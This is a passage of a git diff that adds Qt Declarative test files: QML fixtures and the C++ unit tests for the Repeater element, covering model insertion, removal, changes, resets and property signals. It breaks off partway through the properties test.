+ QString warning1 = component.url().toString() + ":4: Error: Qt.atob(): Invalid arguments";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QCOMPARE(object->property("test2").toString(), QString("Hello world!"));
+
+ delete object;
+}
+
+void tst_qdeclarativeqt::fontFamilies()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("fontFamilies.qml"));
+
+ QString warning1 = component.url().toString() + ":4: Error: Qt.fontFamilies(): Invalid arguments";
+ QTest::ignoreMessage(QtWarningMsg, qPrintable(warning1));
+
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+
+ QFontDatabase database;
+ QCOMPARE(object->property("test2"), QVariant::fromValue(database.families()));
+
+ delete object;
+}
+
+void tst_qdeclarativeqt::quit()
+{
+ QDeclarativeComponent component(&engine, TEST_FILE("quit.qml"));
+
+ QSignalSpy spy(&engine, SIGNAL(quit()));
+ QObject *object = component.create();
+ QVERIFY(object != 0);
+ QCOMPARE(spy.count(), 1);
+
+ delete object;
+}
+
+QTEST_MAIN(tst_qdeclarativeqt)
+
+#include "tst_qdeclarativeqt.moc"
diff --git a/tests/auto/declarative/qdeclarativerepeater/data/intmodel.qml b/tests/auto/declarative/qdeclarativerepeater/data/intmodel.qml
new file mode 100644
index 00000000..85e1608b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativerepeater/data/intmodel.qml
@@ -0,0 +1,29 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+ objectName: "container"
+ width: 240
+ height: 320
+ color: "white"
+
+ function checkProperties() {
+ testObject.error = false;
+ if (repeater.delegate != comp) {
+ console.log("delegate property incorrect");
+ testObject.error = true;
+ }
+ }
+
+ Component {
+ id: comp
+ Item{}
+ }
+
+ Repeater {
+ id: repeater
+ objectName: "repeater"
+ model: testData
+ delegate: comp
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativerepeater/data/itemlist.qml b/tests/auto/declarative/qdeclarativerepeater/data/itemlist.qml
new file mode 100644
index 00000000..590a9cd1
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativerepeater/data/itemlist.qml
@@ -0,0 +1,68 @@
+// This example demonstrates placing items in a view using
+// a VisualItemModel
+
+import QtQuick 1.0
+
+Rectangle {
+ id: root
+ color: "lightgray"
+ width: 240
+ height: 320
+ property variant itemModel: itemModel1
+
+ function checkProperties() {
+ testObject.error = false;
+ if (testObject.useModel && view.model != root.itemModel) {
+ console.log("model property incorrect");
+ testObject.error = true;
+ }
+ }
+
+ function switchModel() {
+ root.itemModel = itemModel2
+ }
+
+ VisualItemModel {
+ id: itemModel1
+ objectName: "itemModel1"
+ Rectangle {
+ objectName: "item1"
+ height: 50; width: 100; color: "#FFFEF0"
+ Text { objectName: "text1"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent }
+ }
+ Rectangle {
+ objectName: "item2"
+ height: 50; width: 100; color: "#F0FFF7"
+ Text { objectName: "text2"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent }
+ }
+ Rectangle {
+ objectName: "item3"
+ height: 50; width: 100; color: "#F4F0FF"
+ Text { objectName: "text3"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent }
+ }
+ }
+
+ VisualItemModel {
+ id: itemModel2
+ objectName: "itemModel2"
+ Rectangle {
+ objectName: "item4"
+ height: 50; width: 100; color: "#FFFEF0"
+ Text { objectName: "text4"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent }
+ }
+ Rectangle {
+ objectName: "item5"
+ height: 50; width: 100; color: "#F0FFF7"
+ Text { objectName: "text5"; text: "index: " + parent.VisualItemModel.index; font.bold: true; anchors.centerIn: parent }
+ }
+ }
+
+ Column {
+ objectName: "container"
+ Repeater {
+ id: view
+ objectName: "repeater"
+ model: testObject.useModel ? root.itemModel : 0
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativerepeater/data/modelChanged.qml b/tests/auto/declarative/qdeclarativerepeater/data/modelChanged.qml
new file mode 100644
index 00000000..0b57d50b
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativerepeater/data/modelChanged.qml
@@ -0,0 +1,26 @@
+import QtQuick 1.1
+
+Column {
+ Repeater {
+ id: repeater
+ objectName: "repeater"
+
+ property int itemsCount
+ property variant itemsFound: []
+
+ delegate: Rectangle {
+ color: "red"
+ width: (index+1)*50
+ height: 50
+ }
+
+ onModelChanged: {
+ repeater.itemsCount = repeater.count
+ var items = []
+ for (var i=0; i<repeater.count; i++)
+ items.push(repeater.itemAt(i))
+ repeater.itemsFound = items
+ }
+ }
+}
+
diff --git a/tests/auto/declarative/qdeclarativerepeater/data/objlist.qml b/tests/auto/declarative/qdeclarativerepeater/data/objlist.qml
new file mode 100644
index 00000000..b47b0423
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativerepeater/data/objlist.qml
@@ -0,0 +1,21 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+ objectName: "container"
+ width: 240
+ height: 320
+ color: "white"
+ Repeater {
+ id: repeater
+ objectName: "repeater"
+ model: testData
+ property int errors: 0
+ property int instantiated: 0
+ Component {
+ Item{
+ Component.onCompleted: {if(index!=modelData.idx) repeater.errors += 1; repeater.instantiated++}
+ }
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativerepeater/data/properties.qml b/tests/auto/declarative/qdeclarativerepeater/data/properties.qml
new file mode 100644
index 00000000..689a1030
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativerepeater/data/properties.qml
@@ -0,0 +1,11 @@
+import QtQuick 1.0
+
+Row {
+ Repeater {
+ objectName: "repeater"
+ model: 5
+ Text {
+ text: "I'm item " + index
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativerepeater/data/repeater1.qml b/tests/auto/declarative/qdeclarativerepeater/data/repeater1.qml
new file mode 100644
index 00000000..2456b6d7
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativerepeater/data/repeater1.qml
@@ -0,0 +1,28 @@
+import QtQuick 1.0
+
+Rectangle {
+ id: container
+ objectName: "container"
+ width: 240
+ height: 320
+ color: "white"
+ Text {
+ text: "Zero"
+ }
+ Repeater {
+ id: repeater
+ objectName: "repeater"
+ width: 240
+ height: 320
+ model: testData
+ Component {
+ Text {
+ y: index*20
+ text: modelData
+ }
+ }
+ }
+ Text {
+ text: "Last"
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativerepeater/data/repeater2.qml b/tests/auto/declarative/qdeclarativerepeater/data/repeater2.qml
new file mode 100644
index 00000000..02ef8103
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativerepeater/data/repeater2.qml
@@ -0,0 +1,36 @@
+import QtQuick 1.0
+
+Rectangle {
+ width: 240
+ height: 320
+ color: "white"
+ Component {
+ id: myDelegate
+ Item {
+ objectName: "myDelegate"
+ height: 20
+ width: 240
+ Text {
+ objectName: "myName"
+ text: name
+ }
+ Text {
+ objectName: "myNumber"
+ x: 100
+ text: number
+ }
+ }
+ }
+ Column {
+ id: container
+ objectName: "container"
+ Repeater {
+ id: repeater
+ objectName: "repeater"
+ width: 240
+ height: 320
+ delegate: myDelegate
+ model: testData
+ }
+ }
+}
diff --git a/tests/auto/declarative/qdeclarativerepeater/qdeclarativerepeater.pro b/tests/auto/declarative/qdeclarativerepeater/qdeclarativerepeater.pro
new file mode 100644
index 00000000..5230f698
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativerepeater/qdeclarativerepeater.pro
@@ -0,0 +1,15 @@
+load(qttest_p4)
+contains(QT_CONFIG,declarative): QT += declarative
+macx:CONFIG -= app_bundle
+
+SOURCES += tst_qdeclarativerepeater.cpp
+
+symbian: {
+ importFiles.files = data
+ importFiles.path = .
+ DEPLOYMENT += importFiles
+} else {
+ DEFINES += SRCDIR=\\\"$$PWD\\\"
+}
+
+CONFIG += parallel_test
diff --git a/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp
new file mode 100644
index 00000000..1e2a4adf
--- /dev/null
+++ b/tests/auto/declarative/qdeclarativerepeater/tst_qdeclarativerepeater.cpp
@@ -0,0 +1,736 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the test suite of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include <QtTest/QtTest>
+#include <QtTest/QSignalSpy>
+#include <private/qlistmodelinterface_p.h>
+#include <QtDeclarative/qdeclarativeengine.h>
+#include <QtDeclarative/qdeclarativeview.h>
+#include <QtDeclarative/qdeclarativecontext.h>
+#include <QtDeclarative/qdeclarativeexpression.h>
+#include <private/qdeclarativerepeater_p.h>
+#include <private/qdeclarativetext_p.h>
+
+#ifdef Q_OS_SYMBIAN
+// In Symbian OS test data is located in applications private dir
+#define SRCDIR "."
+#endif
+
+inline QUrl TEST_FILE(const QString &filename)
+{
+ return QUrl::fromLocalFile(QLatin1String(SRCDIR) + QLatin1String("/data/") + filename);
+}
+
+class tst_QDeclarativeRepeater : public QObject
+{
+ Q_OBJECT
+public:
+ tst_QDeclarativeRepeater();
+
+private slots:
+ void numberModel();
+ void objectList();
+ void stringList();
+ void dataModel_adding();
+ void dataModel_removing();
+ void dataModel_changes();
+ void itemModel();
+ void resetModel();
+ void modelChanged();
+ void properties();
+ void testQtQuick11Attributes();
+ void testQtQuick11Attributes_data();
+
+private:
+ QDeclarativeView *createView();
+ template<typename T>
+ T *findItem(QGraphicsObject *parent, const QString &objectName, int index);
+ template<typename T>
+ T *findItem(QGraphicsObject *parent, const QString &id);
+};
+
+class TestObject : public QObject
+{
+ Q_OBJECT
+
+ Q_PROPERTY(bool error READ error WRITE setError)
+ Q_PROPERTY(bool useModel READ useModel NOTIFY useModelChanged)
+
+public:
+ TestObject() : QObject(), mError(true), mUseModel(false) {}
+
+ bool error() const { return mError; }
+ void setError(bool err) { mError = err; }
+
+ bool useModel() const { return mUseModel; }
+ void setUseModel(bool use) { mUseModel = use; emit useModelChanged(); }
+
+signals:
+ void useModelChanged();
+
+private:
+ bool mError;
+ bool mUseModel;
+};
+
+class TestModel : public QAbstractListModel
+{
+public:
+ enum Roles { Name = Qt::UserRole+1, Number = Qt::UserRole+2 };
+
+ TestModel(QObject *parent=0) : QAbstractListModel(parent) {
+ QHash<int, QByteArray> roles;
+ roles[Name] = "name";
+ roles[Number] = "number";
+ setRoleNames(roles);
+ }
+
+ int rowCount(const QModelIndex &parent=QModelIndex()) const { Q_UNUSED(parent); return list.count(); }
+ QVariant data(const QModelIndex &index, int role=Qt::DisplayRole) const {
+ QVariant rv;
+ if (role == Name)
+ rv = list.at(index.row()).first;
+ else if (role == Number)
+ rv = list.at(index.row()).second;
+
+ return rv;
+ }
+
+ int count() const { return rowCount(); }
+ QString name(int index) const { return list.at(index).first; }
+ QString number(int index) const { return list.at(index).second; }
+
+ void addItem(const QString &name, const QString &number) {
+ emit beginInsertRows(QModelIndex(), list.count(), list.count());
+ list.append(QPair<QString,QString>(name, number));
+ emit endInsertRows();
+ }
+
+ void insertItem(int index, const QString &name, const QString &number) {
+ emit beginInsertRows(QModelIndex(), index, index);
+ list.insert(index, QPair<QString,QString>(name, number));
+ emit endInsertRows();
+ }
+
+ void removeItem(int index) {
+ emit beginRemoveRows(QModelIndex(), index, index);
+ list.removeAt(index);
+ emit endRemoveRows();
+ }
+
+ void moveItem(int from, int to) {
+ emit beginMoveRows(QModelIndex(), from, from, QModelIndex(), to);
+ list.move(from, to);
+ emit endMoveRows();
+ }
+
+ void modifyItem(int idx, const QString &name, const QString &number) {
+ list[idx] = QPair<QString,QString>(name, number);
+ emit dataChanged(index(idx,0), index(idx,0));
+ }
+
+private:
+ QList<QPair<QString,QString> > list;
+};
+
+
+tst_QDeclarativeRepeater::tst_QDeclarativeRepeater()
+{
+}
+
+void tst_QDeclarativeRepeater::numberModel()
+{
+ QDeclarativeView *canvas = createView();
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testData", 5);
+ TestObject *testObject = new TestObject;
+ ctxt->setContextProperty("testObject", testObject);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/intmodel.qml"));
+ qApp->processEvents();
+
+ QDeclarativeRepeater *repeater = findItem<QDeclarativeRepeater>(canvas->rootObject(), "repeater");
+ QVERIFY(repeater != 0);
+ QCOMPARE(repeater->parentItem()->childItems().count(), 5+1);
+
+ QVERIFY(!repeater->itemAt(-1));
+ for (int i=0; i<repeater->count(); i++)
+ QCOMPARE(repeater->itemAt(i), repeater->parentItem()->childItems().at(i));
+ QVERIFY(!repeater->itemAt(repeater->count()));
+
+ QMetaObject::invokeMethod(canvas->rootObject(), "checkProperties");
+ QVERIFY(testObject->error() == false);
+
+ delete testObject;
+ delete canvas;
+}
+
+class MyObject : public QObject
+{
+ Q_OBJECT
+ Q_PROPERTY(int idx READ idx CONSTANT)
+public:
+ MyObject(int i) : QObject(), m_idx(i) {}
+
+ int idx() const { return m_idx; }
+
+ int m_idx;
+};
+
+void tst_QDeclarativeRepeater::objectList()
+{
+ QDeclarativeView *canvas = createView();
+ QObjectList data;
+ for(int i=0; i<100; i++)
+ data << new MyObject(i);
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testData", QVariant::fromValue(data));
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/objlist.qml"));
+ qApp->processEvents();
+
+ QDeclarativeRepeater *repeater = findItem<QDeclarativeRepeater>(canvas->rootObject(), "repeater");
+ QVERIFY(repeater != 0);
+ QCOMPARE(repeater->property("errors").toInt(), 0);//If this fails either they are out of order or can't find the object's data
+ QCOMPARE(repeater->property("instantiated").toInt(), 100);
+
+ QVERIFY(!repeater->itemAt(-1));
+ for (int i=0; i<data.count(); i++)
+ QCOMPARE(repeater->itemAt(i), repeater->parentItem()->childItems().at(i));
+ QVERIFY(!repeater->itemAt(data.count()));
+
+ QSignalSpy addedSpy(repeater, SIGNAL(itemAdded(int,QDeclarativeItem*)));
+ QSignalSpy removedSpy(repeater, SIGNAL(itemRemoved(int,QDeclarativeItem*)));
+ ctxt->setContextProperty("testData", QVariant::fromValue(data));
+ QCOMPARE(addedSpy.count(), data.count());
+ QCOMPARE(removedSpy.count(), data.count());
+
+ qDeleteAll(data);
+ delete canvas;
+}
+
+/*
+The Repeater element creates children at its own position in its parent's
+stacking order. In this test we insert a repeater between two other Text
+elements to test this.
+*/
+void tst_QDeclarativeRepeater::stringList()
+{
+ QDeclarativeView *canvas = createView();
+
+ QStringList data;
+ data << "One";
+ data << "Two";
+ data << "Three";
+ data << "Four";
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testData", data);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater1.qml"));
+ qApp->processEvents();
+
+ QDeclarativeRepeater *repeater = findItem<QDeclarativeRepeater>(canvas->rootObject(), "repeater");
+ QVERIFY(repeater != 0);
+
+ QDeclarativeItem *container = findItem<QDeclarativeItem>(canvas->rootObject(), "container");
+ QVERIFY(container != 0);
+
+ QCOMPARE(container->childItems().count(), data.count() + 3);
+
+ bool saw_repeater = false;
+ for (int i = 0; i < container->childItems().count(); ++i) {
+
+ if (i == 0) {
+ QDeclarativeText *name = qobject_cast<QDeclarativeText*>(container->childItems().at(i));
+ QVERIFY(name != 0);
+ QCOMPARE(name->text(), QLatin1String("Zero"));
+ } else if (i == container->childItems().count() - 2) {
+ // The repeater itself
+ QDeclarativeRepeater *rep = qobject_cast<QDeclarativeRepeater*>(container->childItems().at(i));
+ QCOMPARE(rep, repeater);
+ saw_repeater = true;
+ continue;
+ } else if (i == container->childItems().count() - 1) {
+ QDeclarativeText *name = qobject_cast<QDeclarativeText*>(container->childItems().at(i));
+ QVERIFY(name != 0);
+ QCOMPARE(name->text(), QLatin1String("Last"));
+ } else {
+ QDeclarativeText *name = qobject_cast<QDeclarativeText*>(container->childItems().at(i));
+ QVERIFY(name != 0);
+ QCOMPARE(name->text(), data.at(i-1));
+ }
+ }
+ QVERIFY(saw_repeater);
+
+ delete canvas;
+}
+
+void tst_QDeclarativeRepeater::dataModel_adding()
+{
+ QDeclarativeView *canvas = createView();
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ TestObject *testObject = new TestObject;
+ ctxt->setContextProperty("testObject", testObject);
+
+ TestModel testModel;
+ ctxt->setContextProperty("testData", &testModel);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater2.qml"));
+ qApp->processEvents();
+
+ QDeclarativeRepeater *repeater = findItem<QDeclarativeRepeater>(canvas->rootObject(), "repeater");
+ QVERIFY(repeater != 0);
+ QDeclarativeItem *container = findItem<QDeclarativeItem>(canvas->rootObject(), "container");
+ QVERIFY(container != 0);
+
+ QVERIFY(!repeater->itemAt(0));
+
+ QSignalSpy countSpy(repeater, SIGNAL(countChanged()));
+ QSignalSpy addedSpy(repeater, SIGNAL(itemAdded(int,QDeclarativeItem*)));
+
+ // add to empty model
+ testModel.addItem("two", "2");
+ QCOMPARE(repeater->itemAt(0), container->childItems().at(0));
+ QCOMPARE(countSpy.count(), 1); countSpy.clear();
+ QCOMPARE(addedSpy.count(), 1);
+ QCOMPARE(addedSpy.at(0).at(0).toInt(), 0);
+ QCOMPARE(addedSpy.at(0).at(1).value<QDeclarativeItem*>(), container->childItems().at(0));
+ addedSpy.clear();
+
+ // insert at start
+ testModel.insertItem(0, "one", "1");
+ QCOMPARE(repeater->itemAt(0), container->childItems().at(0));
+ QCOMPARE(countSpy.count(), 1); countSpy.clear();
+ QCOMPARE(addedSpy.count(), 1);
+ QCOMPARE(addedSpy.at(0).at(0).toInt(), 0);
+ QCOMPARE(addedSpy.at(0).at(1).value<QDeclarativeItem*>(), container->childItems().at(0));
+ addedSpy.clear();
+
+ // insert at end
+ testModel.insertItem(2, "four", "4");
+ QCOMPARE(repeater->itemAt(2), container->childItems().at(2));
+ QCOMPARE(countSpy.count(), 1); countSpy.clear();
+ QCOMPARE(addedSpy.count(), 1);
+ QCOMPARE(addedSpy.at(0).at(0).toInt(), 2);
+ QCOMPARE(addedSpy.at(0).at(1).value<QDeclarativeItem*>(), container->childItems().at(2));
+ addedSpy.clear();
+
+ // insert in middle
+ testModel.insertItem(2, "three", "3");
+ QCOMPARE(repeater->itemAt(2), container->childItems().at(2));
+ QCOMPARE(countSpy.count(), 1); countSpy.clear();
+ QCOMPARE(addedSpy.count(), 1);
+ QCOMPARE(addedSpy.at(0).at(0).toInt(), 2);
+ QCOMPARE(addedSpy.at(0).at(1).value<QDeclarativeItem*>(), container->childItems().at(2));
+ addedSpy.clear();
+
+ delete testObject;
+ delete canvas;
+}
+
+void tst_QDeclarativeRepeater::dataModel_removing()
+{
+ QDeclarativeView *canvas = createView();
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ TestObject *testObject = new TestObject;
+ ctxt->setContextProperty("testObject", testObject);
+
+ TestModel testModel;
+ testModel.addItem("one", "1");
+ testModel.addItem("two", "2");
+ testModel.addItem("three", "3");
+ testModel.addItem("four", "4");
+ testModel.addItem("five", "5");
+
+ ctxt->setContextProperty("testData", &testModel);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater2.qml"));
+ qApp->processEvents();
+
+ QDeclarativeRepeater *repeater = findItem<QDeclarativeRepeater>(canvas->rootObject(), "repeater");
+ QVERIFY(repeater != 0);
+ QDeclarativeItem *container = findItem<QDeclarativeItem>(canvas->rootObject(), "container");
+ QVERIFY(container != 0);
+ QCOMPARE(container->childItems().count(), repeater->count()+1);
+
+ QSignalSpy countSpy(repeater, SIGNAL(countChanged()));
+ QSignalSpy removedSpy(repeater, SIGNAL(itemRemoved(int,QDeclarativeItem*)));
+
+ // remove at start
+ QDeclarativeItem *item = repeater->itemAt(0);
+ QCOMPARE(item, container->childItems().at(0));
+
+ testModel.removeItem(0);
+ QVERIFY(repeater->itemAt(0) != item);
+ QCOMPARE(countSpy.count(), 1); countSpy.clear();
+ QCOMPARE(removedSpy.count(), 1);
+ QCOMPARE(removedSpy.at(0).at(0).toInt(), 0);
+ QCOMPARE(removedSpy.at(0).at(1).value<QDeclarativeItem*>(), item);
+ removedSpy.clear();
+
+ // remove at end
+ int lastIndex = testModel.count()-1;
+ item = repeater->itemAt(lastIndex);
+ QCOMPARE(item, container->childItems().at(lastIndex));
+
+ testModel.removeItem(lastIndex);
+ QVERIFY(repeater->itemAt(lastIndex) != item);
+ QCOMPARE(countSpy.count(), 1); countSpy.clear();
+ QCOMPARE(removedSpy.count(), 1);
+ QCOMPARE(removedSpy.at(0).at(0).toInt(), lastIndex);
+ QCOMPARE(removedSpy.at(0).at(1).value<QDeclarativeItem*>(), item);
+ removedSpy.clear();
+
+ // remove from middle
+ item = repeater->itemAt(1);
+ QCOMPARE(item, container->childItems().at(1));
+
+ testModel.removeItem(1);
+ QVERIFY(repeater->itemAt(lastIndex) != item);
+ QCOMPARE(countSpy.count(), 1); countSpy.clear();
+ QCOMPARE(removedSpy.count(), 1);
+ QCOMPARE(removedSpy.at(0).at(0).toInt(), 1);
+ QCOMPARE(removedSpy.at(0).at(1).value<QDeclarativeItem*>(), item);
+ removedSpy.clear();
+
+ delete testObject;
+ delete canvas;
+}
+
+void tst_QDeclarativeRepeater::dataModel_changes()
+{
+ QDeclarativeView *canvas = createView();
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ TestObject *testObject = new TestObject;
+ ctxt->setContextProperty("testObject", testObject);
+
+ TestModel testModel;
+ testModel.addItem("one", "1");
+ testModel.addItem("two", "2");
+ testModel.addItem("three", "3");
+
+ ctxt->setContextProperty("testData", &testModel);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater2.qml"));
+ qApp->processEvents();
+
+ QDeclarativeRepeater *repeater = findItem<QDeclarativeRepeater>(canvas->rootObject(), "repeater");
+ QVERIFY(repeater != 0);
+ QDeclarativeItem *container = findItem<QDeclarativeItem>(canvas->rootObject(), "container");
+ QVERIFY(container != 0);
+ QCOMPARE(container->childItems().count(), repeater->count()+1);
+
+ // Check that model changes are propagated
+ QDeclarativeText *text = findItem<QDeclarativeText>(canvas->rootObject(), "myName", 1);
+ QVERIFY(text);
+ QCOMPARE(text->text(), QString("two"));
+
+ testModel.modifyItem(1, "Item two", "_2");
+ text = findItem<QDeclarativeText>(canvas->rootObject(), "myName", 1);
+ QVERIFY(text);
+ QCOMPARE(text->text(), QString("Item two"));
+
+ text = findItem<QDeclarativeText>(canvas->rootObject(), "myNumber", 1);
+ QVERIFY(text);
+ QCOMPARE(text->text(), QString("_2"));
+
+ delete testObject;
+ delete canvas;
+}
+
+void tst_QDeclarativeRepeater::itemModel()
+{
+ QDeclarativeView *canvas = createView();
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ TestObject *testObject = new TestObject;
+ ctxt->setContextProperty("testObject", testObject);
+
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/itemlist.qml"));
+ qApp->processEvents();
+
+ QDeclarativeRepeater *repeater = findItem<QDeclarativeRepeater>(canvas->rootObject(), "repeater");
+ QVERIFY(repeater != 0);
+
+ QDeclarativeItem *container = findItem<QDeclarativeItem>(canvas->rootObject(), "container");
+ QVERIFY(container != 0);
+
+ QCOMPARE(container->childItems().count(), 1);
+
+ testObject->setUseModel(true);
+ QMetaObject::invokeMethod(canvas->rootObject(), "checkProperties");
+ QVERIFY(testObject->error() == false);
+
+ QCOMPARE(container->childItems().count(), 4);
+ QVERIFY(qobject_cast<QObject*>(container->childItems().at(0))->objectName() == "item1");
+ QVERIFY(qobject_cast<QObject*>(container->childItems().at(1))->objectName() == "item2");
+ QVERIFY(qobject_cast<QObject*>(container->childItems().at(2))->objectName() == "item3");
+ QVERIFY(container->childItems().at(3) == repeater);
+
+ QMetaObject::invokeMethod(canvas->rootObject(), "switchModel");
+ QCOMPARE(container->childItems().count(), 3);
+ QVERIFY(qobject_cast<QObject*>(container->childItems().at(0))->objectName() == "item4");
+ QVERIFY(qobject_cast<QObject*>(container->childItems().at(1))->objectName() == "item5");
+ QVERIFY(container->childItems().at(2) == repeater);
+
+ testObject->setUseModel(false);
+ QCOMPARE(container->childItems().count(), 1);
+
+ delete testObject;
+ delete canvas;
+}
+
+void tst_QDeclarativeRepeater::resetModel()
+{
+ QDeclarativeView *canvas = createView();
+
+ QStringList dataA;
+ for (int i=0; i<10; i++)
+ dataA << QString::number(i);
+
+ QDeclarativeContext *ctxt = canvas->rootContext();
+ ctxt->setContextProperty("testData", dataA);
+ canvas->setSource(QUrl::fromLocalFile(SRCDIR "/data/repeater1.qml"));
+ qApp->processEvents();
+ QDeclarativeRepeater *repeater = findItem<QDeclarativeRepeater>(canvas->rootObject(), "repeater");
+ QVERIFY(repeater != 0);
+ QDeclarativeItem *container = findItem<QDeclarativeItem>(canvas->rootObject(), "container");
+ QVERIFY(container != 0);
+
+ QCOMPARE(repeater->count(), dataA.count());
+ for (int i=0; i<repeater->count(); i++)
+ QCOMPARE(repeater->itemAt(i), container->childItems().at(i+1)); // +1 to skip first Text object
+
+ QSignalSpy modelChangedSpy(repeater, SIGNAL(modelChanged()));
+ QSignalSpy countSpy(repeater, SIGNAL(countChanged()));
+ QSignalSpy addedSpy(repeater, SIGNAL(itemAdded(int,QDeclarativeItem*)));
+ QSignalSpy removedSpy(repeater, SIGNAL(itemRemoved(int,QDeclarativeItem*)));
+
+ QStringList dataB;
+ for (int i=0; i<20; i++)
+ dataB << QString::number(i);
+
+ // reset context property
+ ctxt->setContextProperty("testData", dataB);
+ QCOMPARE(repeater->count(), dataB.count());
+
+ QCOMPARE(modelChangedSpy.count(), 1);
+ QCOMPARE(countSpy.count(), 1);
+ QCOMPARE(removedSpy.count(), dataA.count());
+ QCOMPARE(addedSpy.count(), dataB.count());
+ for (int i=0; i<dataB.count(); i++) {
+ QCOMPARE(addedSpy.at(i).at(0).toInt(), i);
+ QCOMPARE(addedSpy.at(i).at(1).value<QDeclarativeItem*>(), repeater->itemAt(i));
+ }
+ modelChangedSpy.clear();
+ countSpy.clear();
+ removedSpy.clear();
+ addedSpy.clear();
+
+ // reset via setModel()
+ repeater->setModel(dataA);
+ QCOMPARE(repeater->count(), dataA.count());
+
+ QCOMPARE(modelChangedSpy.count(), 1);
+ QCOMPARE(countSpy.count(), 1);
+ QCOMPARE(removedSpy.count(), dataB.count());
+ QCOMPARE(addedSpy.count(), dataA.count());
+ for (int i=0; i<dataA.count(); i++) {
+ QCOMPARE(addedSpy.at(i).at(0).toInt(), i);
+ QCOMPARE(addedSpy.at(i).at(1).value<QDeclarativeItem*>(), repeater->itemAt(i));
+ }
+
+ delete canvas;
+}
+
+// QTBUG-17156
+void tst_QDeclarativeRepeater::modelChanged()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, TEST_FILE("/modelChanged.qml"));
+
+ QDeclarativeItem *rootObject = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(rootObject);
+ QDeclarativeRepeater *repeater = findItem<QDeclarativeRepeater>(rootObject, "repeater");
+ QVERIFY(repeater);
+
+ repeater->setModel(4);
+ QCOMPARE(repeater->count(), 4);
+ QCOMPARE(repeater->property("itemsCount").toInt(), 4);
+ QCOMPARE(repeater->property("itemsFound").toList().count(), 4);
+
+ repeater->setModel(10);
+ QCOMPARE(repeater->count(), 10);
+ QCOMPARE(repeater->property("itemsCount").toInt(), 10);
+ QCOMPARE(repeater->property("itemsFound").toList().count(), 10);
+
+ delete rootObject;
+}
+
+void tst_QDeclarativeRepeater::properties()
+{
+ QDeclarativeEngine engine;
+ QDeclarativeComponent component(&engine, TEST_FILE("/properties.qml"));
+
+ QDeclarativeItem *rootObject = qobject_cast<QDeclarativeItem*>(component.create());
+ QVERIFY(rootObject);
+
+ QDeclarativeRepeater *repeater = findItem<QDeclarativeRepeater>(rootObject, "repeater");
+ QVERIFY(repeater);
+
+ QSignalSpy modelSpy(repeater, SIGNAL(modelChanged()));
+ repeater->setModel(3);
+ QCOMPARE(modelSpy.count(),1);
+ repeater->setModel(3);
+ QCOMPARE(modelSpy.count(),1);
+
+ QSignalSpy delegateSpy(repeater, SIGNAL(delegateChanged()));
+
+ QDeclarativeComponent rectComponent(&engine);
+ rectComponent.setData("import QtQuick 1.0; Rectangle {}", QUrl::fromLocalFile(""));
+
+ repeater->setDelegate(&rectComponent);
+ QCOMPARE(delegateSpy.count(),1);
+ repeater->setDelegate(&rectComponent);
